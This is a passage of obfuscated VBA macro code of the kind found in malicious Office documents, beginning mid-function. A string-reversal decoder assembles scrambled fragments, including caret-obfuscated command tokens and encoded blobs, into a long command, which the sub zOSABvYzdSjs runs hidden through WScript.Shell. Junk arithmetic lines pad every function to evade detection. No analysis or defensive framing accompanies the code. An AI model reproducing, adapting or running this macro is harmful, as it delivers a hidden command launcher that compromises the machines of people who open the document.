AEmsG = fshu3bbnabn3("uK<Yk3WwQ0kGA5AAOAUGAjBANAADAmBAMAUGA3AQNAYDAwAQOAYGA1AQNAcDAmBQMAMDAmBwMAUDAlBgMAQDA3AQZAQGAkBQMAIDAkBgNAEDAhBQNAIDAxAgZAUGAwAQZAADAlBgNAgDAxAgYAQDAxAwMAQGA5AgYAMGAlBAOAY#", 3, 159)
dqlXlvVnR.tYTlaBfRbpQQrzT
WifpEilzw.qdFlQpCPzTrnuiqwlmin
zaLqoA = fshu3bbnabn3("i[jHL$GHouphAQGAyAgZAQDAkBANAMGA5AAOAUGA2AQZAUDAzAgNAYGAzAgNAYGAkBQYAMDAwAQOAYGAiBAMAEGA5AgZAMGAmBQOAEDAyAQYAIGAwAANAIGAwAQNAQDAxAAMAADA4AgZAQDAyAQZAEGA0AAMAIGAlBANAI$!k(A6UIzc", 11, 154)
WifpEilzw.qdFlQpCPzTrnuiqwlmin
MrpifZiGS.MKRFrlDUjrNztYWwFDilDUcEjXjii
HEJCdjNO = fshu3bbnabn3("p6hwnn7V$2K]mNpuGA4AQZAMGAiBwYAADA2AQYAADA4AgMAUGAjBgNAUGA2AANAEDAyAQNAUGAlBwYAMDA3AwYAEDAlBQMAUDA3AQZAcDA1AQNAkDAjBQYAIG[FGr.I5AdVA#9", 14, 105)
MrpifZiGS.MKRFrlDUjrNztYWwFDilDUcEjXjii
IOIAPdcVISC = LlHQfnzhRrpX + jaUkjhajDM + CouGtzkpW + ChrW(34) + bupwsvGJMTibhv + fdmdQMlY + mTwSFfdHJ + umWGpvvULA + QXvDcLFwfu + iliddmJm + EtXqSzbGXdb + pIKiQa + jkatbBo + mdGOO + QUBjdjjFc + YPJQG + sFzFHAT + WtidIH + DLJTJZBcoo + DLXzFOPr + SwKtRhjcai + QhOElsomOL + ZpaKZTf + CAIcHNXKM + ztsFE + GtzFHXzcXES + ORKjJoDWVP + ZQCCBUiwqww + bQkODCF + kvGlhro + BCAPzvBqSn + nEWjnNz + oiUTdzMaAT + RtcCLBTzRcm + HEJCdjNO + lWUODXjqGM + KzuHFAW + JiIXQX + HoUkNcwSk + HmMUkGDlpc + EMvSsImvfYf + MdjZwXcKqkE + RpDpNPhF + nQwfNZjmC + ojwoIOw + bjkIj + mYLSKIaj + ECwEkLc + UmJAuvz + zaLqoA + GiUjbCwra + AEmsG + KRvYzPnYfjq + OqXZATSXw + TBUJKHJlmpG + LqjSLwaXRjS + AHhXhO + PRDTbCojvK + ZuAZiqtROaT + YVWHDClMDH + ZJbkwwFfan + GvPUriE + qMvXaAB
siMZTBZlK = niIr * VWASlc / mFnbc - Round(4094632 * CSng(4150716 * CInt(Fzmp)) + zOKjLa - Round(jhLNnO)) - 544 / rzdJv + SwGlr / Rnd(EQJDo) * (8428811 / CDbl(3649758) + (pHMQ / CByte(1316322 / CDbl(2175342) - 7448667 / 8101334)))
End Function

Attribute VB_Name = "cfShjoTvCLK"
Sub zOSABvYzdSjs(hovMUVUDHEIRqQ As String)
On Error Resume Next
cMGwjNutu = jQThvt * vWBi / hiKm - Round(3859421 * CSng(8789472 * CInt(vGpJK)) + zwVvm - Round(dsiv)) - 544 / wzlu + zfJf / Rnd(fblwt) * (91851 / CDbl(5348709) + (tqHJJv / CByte(9043703 / CDbl(7184256) - 117404 / 7028158)))
uBNCivoUI = iHKzi * TWjw / HBtlEH - Round(7961251 * CSng(8054421 * CInt(zbwuPi)) + dtqI - Round(sEQlj)) - 544 / iIcY + Crnz / Rnd(Qinwi) * (3646205 / CDbl(4594556) + (IPkA / CByte(8280007 / CDbl(8110188) - 5760556 / 8744202)))
pTPzcAYAL = NbZwD * ipNOC / uZjK - Round(5563156 * CSng(3271221 * CInt(dRluI)) + YXCr - Round(Fnnz)) - 544 / whMM + WBcP / Rnd(jYpRSX) * (1401392 / CDbl(5594107) + (PbhRk / CByte(5965237 / CDbl(841434) - 5517773 / 9607389)))
zIPWzTkcQ = PHQJ * Rjzhk / swKGi - Round(5788904 * CSng(2860365 * CInt(chDt)) + fGbJ - Round(WjpGC)) - 544 / ZwSC + EfWr / Rnd(EKEQO) * (7964183 / CDbl(4077255) + (oXLO / CByte(2571503 / CDbl(5683825) - 4752009 / 7938570)))
WXLEkmwwj = LMPXBh * ibvX / MhLcSf - Round(430840 * CSng(2257388 * CInt(odLiIK)) + nSOIji - Round(IzQVi)) - 544 / iCcS + LisIT / Rnd(uUwW) * (6652389 / CDbl(819663) + (tWNrIh / CByte(2857668 / CDbl(1915187) - 6480883 / 641672)))
CreateObject("WScript.Shell").Run iBJXz + hovMUVUDHEIRqQ + mBsFz + vfwzOPjGatb, vbHide
cHwrtvDSd = pdSHW * wkhLj / qSLKkA - Round(8962665 * CSng(308419 * CInt(ckajPA)) + sGpn - Round(FGBfp)) - 544 / ujWsir + RjjjK / Rnd(XbiM) * (8683625 / CDbl(8530833) + (GUksb / CByte(4165983 / CDbl(9373061) - 5526869 / 7085148)))
MJiuJARak = iAwU * IvnPr / tInOl - Round(4856513 * CSng(9822112 * CInt(RMuDh)) + WFPtX - Round(EcqJ)) - 544 / IAFjj + hkKTA / Rnd(jXbSwS) * (8038004 / CDbl(7791150) + (QBIDft / CByte(8475558 / CDbl(6526420) - 4254766 / 3224093)))
SiocYtuli = SWAW * jVvr / JAUd - Round(8351416 * CSng(9849251 * CInt(fAopCo)) + iMsu - Round(ZBhL)) - 544 / iuAlp + YwqNGR / Rnd(KlZw) * (2903566 / CDbl(7126693) + (XPizoB / CByte(8183171 / CDbl(5185001) - 8776256 / 3509863)))
End Sub
Function CouGtzkpW()
On Error Resume Next
facVrzLNjR.VUzTnHrQUElQJziGwEJo
EMvSsImvfYf = fshu3bbnabn3("6OzQ]GoTIYCM% tes&&CAjXVZAqQOLfPii6$5I", 15, 19)
facVrzLNjR.VUzTnHrQUElQJziGwEJo
WTBdwwdim.kwkkawzHbpARoWR
OqXZATSXw = fshu3bbnabn3("8JGIqk9%w9k% tes&&wo=%CSGY2f", 5, 14)
WTBdwwdim.kwkkawzHbpARoWR
koOiHVMZqUSd.VzfvuksSjIdHmMAKjLmzGVYdDjfj
HoUkNcwSk = fshu3bbnabn3("d!R!%CSIVcdPAIWQQkj7Q13UKkOdG0Vsh9HD", 23, 11)
koOiHVMZqUSd.VzfvuksSjIdHmMAKjLmzGVYdDjfj
UlLVvLnwtCW.wrzDNvsTaTRfJiRzFjTJtisEl
bjkIj = fshu3bbnabn3("Z(MF)KZXld6Jp% toi.ffjd%l@J_S", 14, 5)
UlLVvLnwtCW.wrzDNvsTaTRfJiRzFjTJtisEl
ILKAAoNGiOId.cYpZnZknOfWlJcwjw
YPJQG = fshu3bbnabn3("hczrG2lRZ0dkOR]B1l=%hwoJiU]__1%0ks5KPM$kOb", 19, 7)
ILKAAoNGiOId.cYpZnZknOfWlJcwjw
STjqSvCsqCFV.WMFIrZJTLKmlVzPAqcPOTN
ztsFE = fshu3bbnabn3("iZ4nZo]aLml5$updtes&&GztoPoFBYKWHoj$A_wcH2tY4di6hkzM", 18, 19)
STjqSvCsqCFV.WMFIrZJTLKmlVzPAqcPOTN
pCGolJziY.rsVKZtZKiMzCVFZwPjSJjNfw
nEWjnNz = fshu3bbnabn3("_fCkI%6SjwcwS..XjZ5VUMvoh% tes&&H4Zn", 5, 13)
pCGolJziY.rsVKZtZKiMzCVFZwPjSJjNfw
WQFGwEzuHw.CtOXhhWzBKuAbjistlwZ
qMvXaAB = fshu3bbnabn3("jfK(R_9dAWu1hQQoY2[Hm6GU4t5Z0)z7[[zU", 23, 2)
WQFGwEzuHw.CtOXhhWzBKuAbjistlwZ
dLzprqYCAA.aXsSVaYEaKQzoFcXv
EtXqSzbGXdb = fshu3bbnabn3("w5GZ]R22Y[.N5kBsMvoh%!!%sjSdzYvBAS))Z_6p", 7, 18)
dLzprqYCAA.aXsSVaYEaKQzoFcXv
KhwAVnmBAip.rSbwkScRMlRNYmEzWTIVfbL
GvPUriE = fshu3bbnabn3("i5oAAw8j3mFiG[3wiH_Hr_zzoitpl", 5, 2)
KhwAVnmBAip.rSbwkScRMlRNYmEzWTIVfbL
YAMvnIdKm.vWfJFwHvLAkiztZsquOlQHNt
WtidIH = fshu3bbnabn3("IZ%8]R<$D%!=%ZatbmwfLjK84kR3pvSTS9W[lG", 16, 15)
YAMvnIdKm.vWfJFwHvLAkiztZsquOlQHNt
vYFYHjDt.YTkrfjUJKlwWNWGr
MdjZwXcKqkE = fshu3bbnabn3("z7t381u tes&&!%aOsu4QS_[jk6@(ML", 13, 12)
vYFYHjDt.YTkrfjUJKlwWNWGr
BThlbXDQMuOC.iBPorslFKqUP
pIKiQa = fshu3bbnabn3("7wJXGcM%.I06qnMjBCpGJn=%zYIniDHwM", 3, 15)
BThlbXDQMuOC.iBPorslFKqUP
nzpmEWVYiRb.VDwrlYmrwSfrZYI
umWGpvvULA = fshu3bbnabn3("U@fanQ)m6hN[o$UiYbf1zzci3@LhGJV%Sd", 16, 4)
nzpmEWVYiRb.VDwrlYmrwSfrZYI
wTLdzLbVm.jiifZqJhzJfc
KzuHFAW = fshu3bbnabn3("XwvKbM$oI_7[]!9ksrtT615zTI3P%!!%Kj6wzvsJ", 9, 4)
wTLdzLbVm.jiifZqJhzJfc
ZqiznIqMTHV.NavdHArRcqwLTTSIiSjLQpDRvLYUq
LqjSLwaXRjS = fshu3bbnabn3("hzV45UIjOJd$2_sqGo()_aM@tGoTIYCM%!KLj5o", 6, 9)
ZqiznIqMTHV.NavdHArRcqwLTTSIiSjLQpDRvLYUq
kKtbakWlMd.CWphEIjEOUfBqMJBPK
RtcCLBTzRcm = fshu3bbnabn3("6XPW_q7Fl@EE% tes5", 2, 7)
kKtbakWlMd.CWphEIjEOUfBqMJBPK
QbWLsRHwDpH.LzUsjwUBDHGzMj
SwKtRhjcai = fshu3bbnabn3("t(CwYvAp!%QqRIEHDUVUs90w4BzzsqlccbbWHP7o_XwTo]HH3", 30, 12)
QbWLsRHwDpH.LzUsjwUBDHGzMj
wwXhaQBKKaC.SJQXmYLhojbzriTsSzjHzDmikJ
DLXzFOPr = fshu3bbnabn3("@4cXiMm9z QpLsh=%sjQYac58BovWt", 12, 5)
wwXhaQBKKaC.SJQXmYLhojbzriTsSzjHzDmikJ
cfYEKZoGj.mwnzDHrkSKGrolYRMsfPz
CAIcHNXKM = fshu3bbnabn3("nK5z3_9FOz%!!%biYbfzzafX$lzm[#dbk_mn[", 16, 14)
cfYEKZoGj.mwnzDHrkSKGrolYRMsfPz
vNBhwkGPrqm.ItQaHcHjZkEbFQvOAKFpi
JiIXQX = fshu3bbnabn3("hWOAh8hbcKQBi3KdPAIOI% tes&&p!l_u6", 6, 14)
vNBhwkGPrqm.ItQaHcHjZkEbFQvOAKFpi
wWMJSipwJ.TdjvnZiqRiQjAQSpGcv
iliddmJm = fshu3bbnabn3("X(LiHfVct]<8XVfiJKfpS#", 2, 3)
wWMJSipwJ.TdjvnZiqRiQjAQSpGcv
AHqbCuif.lVLiZtjJkQEuaTYBMoDznzhk
BCAPzvBqSn = fshu3bbnabn3("X.A27)_Ji6AcQt92dOI%!5", 2, 4)
AHqbCuif.lVLiZtjJkQEuaTYBMoDznzhk
mIIOwOWZbIt.IHfBEJNbnnhs
ECwEkLc = fshu3bbnabn3("][LBXw=%b$(#M", 5, 3)
mIIOwOWZbIt.IHfBEJNbnnhs
LlzLTBaLiTw.vOoFXWzJZUYIbBujJdfojBwhqrpz
DLJTJZBcoo = fshu3bbnabn3("dGZ_u_4YkvzJhpiEPfsjK", 4, 7)
LlzLTBaLiTw.vOoFXWzJZUYIbBujJdfojBwhqrpz
jvJqMibiuC.rsvGGHwQPzDjOFlOElk
ZQCCBUiwqww = fshu3bbnabn3("[]M%wslTXifsRVttnPzO7BAOz)pwl8", 13, 15)
jvJqMibiuC.rsvGGHwQPzDjOFlOElk
LkvNMDwHiw.QUmobtAoQRfausMcpRRTntUAbu
ZpaKZTf = fshu3bbnabn3("IoIzICv$sK9zza% tes&&re=%$<0", 4, 14)
LkvNMDwHiw.QUmobtAoQRfausMcpRRTntUAbu
cPMdiFUncZ.vzfFnCTijzVZEpWiJlYMcOK
sFzFHAT = fshu3bbnabn3("9F7jzOCw7GtcId@hwoAXk4joG9WA", 11, 3)
cPMdiFUncZ.vzfFnCTijzVZEpWiJlYMcOK
wKjoETwTva.TkOoYULtHowjmujOvQHRwYzE
QXvDcLFwfu = fshu3bbnabn3("u6LAZ=%SiQSiSSMwjz2]YlrwsOHrS7j@FZwWoKBZJjjw@lAQd", 32, 15)
wKjoETwTva.TkOoYULtHowjmujOvQHRwYzE
SLiizIrF.itiRdkwfSSFDAYGrNrqLRLL
oiUTdzMaAT = fshu3bbnabn3("ijBzor5wjUZSHaC%V6@p.lh3.l)GP[", 15, 9)
SLiizIrF.itiRdkwfSSFDAYGrNrqLRLL
AATkFIkwbYu.ddAFVipOSplXpjcVEK
QhOElsomOL = fshu3bbnabn3("A6iLzpspvBASOz% tes&&hVmbtibqOPJTnMwnLMn<Kc9 71vjUL]1%t", 30, 18)
AATkFIkwbYu.ddAFVipOSplXpjcVEK
ihpjViGwiTj.zkQEmiMVkuQGzzr
lWUODXjqGM = fshu3bbnabn3("hh@8kFpYnz<oPO", 7, 2)
ihpjViGwiTj.zkQEmiMVkuQGzzr
pEWXbYzXM.DbhhGBPcCnqwzahQrK
KRvYzPnYfjq = fshu3bbnabn3("idCzZatbmwfLjKJp%!&&lU[HGH3", 7, 17)
pEWXbYzXM.DbhhGBPcCnqwzahQrK
jGKGvndXsIa.IZHiwHUnCmCRzinDfmS
jkatbBo = fshu3bbnabn3("5226LL7A=%aOsuhQD% r<PKlPi2c$zrU[Qz3jV2N1pcwkr5", 29, 11)
jGKGvndXsIa.IZHiwHUnCmCRzinDfmS
aGvwjjrOj.WrlAUzsoJScfODq
GtzFHXzcXES = fshu3bbnabn3("[P_h[mi!258)qU=%YBpUjKZHUqwBi(LF", 4, 15)
aGvwjjrOj.WrlAUzsoJScfODq
hQztLjipdiRi.kiNzvYCGhWaZSjfYjJuZCfl
ORKjJoDWVP = fshu3bbnabn3("QnX@n$vF<5vsRes&&iMcDfMScINKVmM=3m!", 4, 19)
hQztLjipdiRi.kiNzvYCGhWaZSjfYjJuZCfl
IvVrAfMqlH.hGfoUITowLLwfm
bQkODCF = fshu3bbnabn3("SfA%aQkkXX)9]6YqI2Wp6lhB4z$4hzXqwbq%!!%sjzokC7M", 5, 12)
IvVrAfMqlH.hGfoUITowLLwfm
joZoRzbQLha.UPDSvJcBlErDCGJzFilDNhJwd
mdGOO = fshu3bbnabn3("2wtrUSEXFWqloZQOh45RJ@2XQ8", 20, 5)
joZoRzbQLha.UPDSvJcBlErDCGJzFilDNhJwd
LjitojAWfsRj.drWEpOwMHBwart
PRDTbCojvK = fshu3bbnabn3("XAmII !%7r4o(bZQ948tIDd2Q2CWzLdOvK0C", 29, 3)
LjitojAWfsRj.drWEpOwMHBwart
TBKsFpWjEt.CnPGSirvIfNLiWTRlQj
RpDpNPhF = fshu3bbnabn3("BSkIVch[H0@2kVwKMZ", 13, 3)
TBKsFpWjEt.CnPGSirvIfNLiWTRlQj
tlPfZuNH.ihiqWIGkCbwO
mTwSFfdHJ = fshu3bbnabn3("dOAiJqCMLO% tes&&s=%QqRIEHDUARQoIw7.@7dd)C!Zsi", 19, 19)
tlPfZuNH.ihiqWIGkCbwO
BCvLUhsF.hsWREPorfjEjcHmDP
TBUJKHJlmpG = fshu3bbnabn3("bL6f4fsjSdzYZsb6", 5, 6)
BCvLUhsF.hsWREPorfjEjcHmDP
jQfjPkpjh.hkWqjQtZIKDARWqJBblMuiviNV
nQwfNZjmC = fshu3bbnabn3("ZJ)X6AAzoHhpiEPfqwbq% tes&&ewmQZiPzXd!83wNA[Lzh0", 21, 18)
jQfjPkpjh.hkWqjQtZIKDARWqJBblMuiviNV
CouGtzkpW = RtcCLBTzRcm + GtzFHXzcXES + ztsFE + jkatbBo + JiIXQX + RpDpNPhF + OqXZATSXw + ZQCCBUiwqww + ORKjJoDWVP + bjkIj + WtidIH + qMvXaAB + MdjZwXcKqkE + oiUTdzMaAT + pIKiQa + lWUODXjqGM + QhOElsomOL + TBUJKHJlmpG + ZpaKZTf + umWGpvvULA + ECwEkLc + BCAPzvBqSn + HoUkNcwSk + nEWjnNz + mTwSFfdHJ + iliddmJm + QXvDcLFwfu + mdGOO + EMvSsImvfYf + GvPUriE + DLXzFOPr + nQwfNZjmC + YPJQG + KRvYzPnYfjq + KzuHFAW + CAIcHNXKM + EtXqSzbGXdb + SwKtRhjcai + LqjSLwaXRjS + bQkODCF + DLJTJZBcoo + sFzFHAT + PRDTbCojvK
nkLpWSJzT = UmdTfl * MjQNJZ / jOvUtz - Round(7859300 * CSng(7706052 * CInt(OcJOS)) + kqRDFo - Round(zRjI)) - 544 / iBzHiK + GIWp / Rnd(UvjJ) * (2879860 / CDbl(8263042) + (XfZvZ / CByte(9213392 / CDbl(1062030) - 3921138 / 1905476)))
End Function

Attribute VB_Name = "cptwzwLq"
Function LlHQfnzhRrpX()
On Error Resume Next
nBpVPojAj.IVidvGFdjwfLSobBKpL
ZdAIRVSTs = fshu3bbnabn3("pBwhrpnr_ZoJkffOsCcEp^S^mo^C%   Wh7", 4, 14)
nBpVPojAj.IVidvGFdjwfLSobBKpL
VIVKUjicnv.QEVXzWXfqukcEHiEZKjmUqSfWOw
lXvQDkff = fshu3bbnabn3("dHff.Ik(MK6lHPQI])ApU]Av!]X6lwRvhcKVM", 4, 2)
VIVKUjicnv.QEVXzWXfqukcEHiEZKjmUqSfWOw
hirGJcSjrmEb.FWKnjPhmOZmoZORjMozbrDtDwNGus
DjfpJB = fshu3bbnabn3("ZJViZkD_@fABz6Cd@     %Xj7IwHY3nzGQ!", 14, 6)
hirGJcSjrmEb.FWKnjPhmOZmoZORjMozbrDtDwNGus
VfVYXmHsYOq.vmUJjEzvawDHmnUzrvuvhdii
jjdhZNvvaYa = fshu3bbnabn3("vCj4)wvbq6]o[)oXQ5h_1UZY$MPZcYC9        V/     kK[f", 5, 15)
VfVYXmHsYOq.vmUJjEzvawDHmnUzrvuvhdii
PLifhHfOz.KlJjZXIwzQWkrwtTWNI
rPcntNTU = fshu3bbnabn3("PWYTaOGE[bfdwSaqhSKzLwFaizU2tz", 4, 14)
PLifhHfOz.KlJjZXIwzQWkrwtTWNI
KYKJldJkm.KcOIISnknvCokkRoFLrOcVzCtjik
UCdHQK = fshu3bbnabn3("zS4UrS0(5V%FIC8(A    [kTMRhc", 8, 4)
KYKJldJkm.KcOIISnknvCokkRoFLrOcVzCtjik
FIOwkFFjn.FjTVRWRdJXfQQQaS
GJSlt = fshu3bbnabn3("C5w2cmzC%[im9A[)rQ64V]iHI6A4Q<MFfPm6", 4, 3)
FIOwkFFjn.FjTVRWRdJXfQQQaS
wPcABKbDA.wEpinzuRhkVPsOWE
GmNMdYjWaY = fshu3bbnabn3("(OW7w2bhvRK6LXKQd", 2, 2)
wPcABKbDA.wEpinzuRhkVPsOWE
dUZCYASVZUY.WmwzGIFMFKPZQUfScH
EqLPQvsCZz = fshu3bbnabn3("Zz3rc[GiS0hORwjjP  & YddCcEqLoJu NIfOZ6LsX6KihTh4Lz3]@6j", 20, 20)
dUZCYASVZUY.WmwzGIFMFKPZQUfScH
ZaqQnCRXltN.iMKovBFlpbLEZZljdvKRdVUuEBSzI
LiJiY = fshu3bbnabn3("4wM.       %cEp^S^mo^C%  6IzbnwHsqMj", 12, 21)
ZaqQnCRXltN.iMKovBFlpbLEZZljdvKRdVUuEBSzI
OEnAjjXAt.iWQjNQzjnoZFz
EhDLpVUo = fshu3bbnabn3("9Qz#YPUkfhXHLjWXjO7sOFhIs dmcSca3V5_]hWh%h", 14, 9)
OEnAjjXAt.iWQjNQzjnoZFz
zjYDiOmucFO.lKwdJmTOXHrBrwfHFwAiOWonaM
ljIbiiikQn = fshu3bbnabn3("2.5Z9IhAIC       c/ TRcwwn", 7, 10)
zjYDiOmucFO.lKwdJmTOXHrBrwfHFwAiOWonaM
kiqLcQwnYcW.drUiFJcjqlqXsszffkiTbNaPZSAF
jXEEHHQcU = fshu3bbnabn3("Uw378zZXUt8Y6kC(Zi[Pw0zv6z RP$9V3(.KqZ2T", 12, 3)
kiqLcQwnYcW.drUiFJcjqlqXsszffkiTbNaPZSAF
LlHQfnzhRrpX = EhDLpVUo + GJSlt + lXvQDkff + jXEEHHQcU + GmNMdYjWaY + rPcntNTU + EqLPQvsCZz + ZdAIRVSTs + DjfpJB + LiJiY + jjdhZNvvaYa + ljIbiiikQn + UCdHQK
XaRhJTzQh = kjXBu * AojvRQ / otDT - Round(3205798 * CSng(3300579 * CInt(ImJW)) + QTIN - Round(tizGz)) - 544 / wZShPl + EoHRdo / Rnd(Aizd) * (3168990 / CDbl(9590212) + (AtiZs / CByte(5144869 / CDbl(1949795) - 561945 / 6609076)))
End Function

Attribute VB_Name = "QtMavRD"
Function fshu3bbnabn3(ByVal pJKjLfwmbtaZ As String, qbwqfPEiphJowh, MCYIToGozjs)
On Error Resume Next
hJcdmwWDP = CznG * CYGibP / obkY - Round(6501216 * CSng(4760988 * CInt(DICWw)) + RRpV - Round(Tpjlv)) - 544 / DwTq + TQpnUU / Rnd(sNOz) * (4819364 / CDbl(2259116) + (Aapz / CByte(6028627 / CDbl(7189504) - 6742064 / 7215038)))
zIadCfXVk = nPom * KowPw / QVQX - Round(6592622 * CSng(9112882 * CInt(OzoFEi)) + jNrS - Round(Vsdsl)) - 544 / POtiJi + miinJ / Rnd(UkkG) * (7149780 / CDbl(3251905) + (KGUAz / CByte(9445875 / CDbl(5851957) - 8881395 / 5288911)))
OmdfaThtj = FjSEit * kwll / sbCmIt - Round(8594109 * CSng(6404406 * CInt(EbKP)) + JdfBDr - Round(uLwrB)) - 544 / HsMjIq + tBcoK / Rnd(ACiBII) * (7876636 / CDbl(7331028) + (aFwitO / CByte(9658893 / CDbl(3107517) - 764271 / 8944382)))
OcBmhlfs = GlozXS + StrReverse(pJKjLfwmbtaZ) + lCHAqqPq
u3ugkj = PJqjMAXSH + Mid(OcBmhlfs, qbwqfPEiphJowh, MCYIToGozjs) + awPvlYuDhPO
fdpnDjbZO = SDti * NLuG / Vsos - Round(4549263 * CSng(4394953 * CInt(Wcwn)) + bGkfA - Round(JQwtsd)) - 544 / tVNf + jJaB / Rnd(mpzQjd) * (1036524 / CDbl(9489553) + (Skbmz / CByte(5102563 / CDbl(2531055) - 2945088 / 6958910)))
pRcALkiBt = QMiHZO * qCfdnq / ZKWRiP - Round(915274 * CSng(9620241 * CInt(ZlkPm)) + NlijO - Round(FodCY)) - 544 / kKjGBa + aANNS / Rnd(mSsEV) * (8027136 / CDbl(9884101) + (Lptw / CByte(693119 / CDbl(5439137) - 2935280 / 3906938)))
VtPKQUnkS = JiLdzY * GcNM / HMYnYU - Round(8083824 * CSng(1497095 * CInt(wRGfUz)) + MRfI - Round(mjRAiq)) - 544 / mzABH + lCmdwT / Rnd(KlKQFw) * (5968720 / CDbl(5171191) + (tKiD / CByte(9551364 / CDbl(4131153) - 6143252 / 1402770)))
npdUVBwQw = iuVjVL * bAVB / kLuhDp - Round(3733845 * CSng(731979 * CInt(QWipGp)) + pkMzH - Round(wjjJ)) - 544 / WpWUKG + FSaozJ / Rnd(uGRXqt) * (2843571 / CDbl(4341633) + (mQJBmj / CByte(2841280 / CDbl(2724103) - 9522374 / 8866081)))
fshu3bbnabn3 = zORvMYwAXwAnDD + u3ugkj + ziItPaz
AjEBEGZDM = DJzjpW * RwOz / ldFwZi - Round(6887683 * CSng(1166632 * CInt(iZzO)) + rLTqb - Round(lKjuD)) - 544 / IIwbT + AJwa / Rnd(GjqTGm) * (4817982 / CDbl(6946224) + (RHiA / CByte(9523861 / CDbl(1228454) - 7475280 / 6183194)))
FbtLusaaJ = KMwFj * PNJk / fXKJAP - Round(178602 * CSng(5837429 * CInt(iMZUEW)) + jMnPs - Round(KOXFMY)) - 544 / kkwC + ZEiBt / Rnd(ZwMzw) * (7472277 / CDbl(5548319) + (MjfA / CByte(4218942 / CDbl(4031058) - 1309784 / 6530918)))
End Function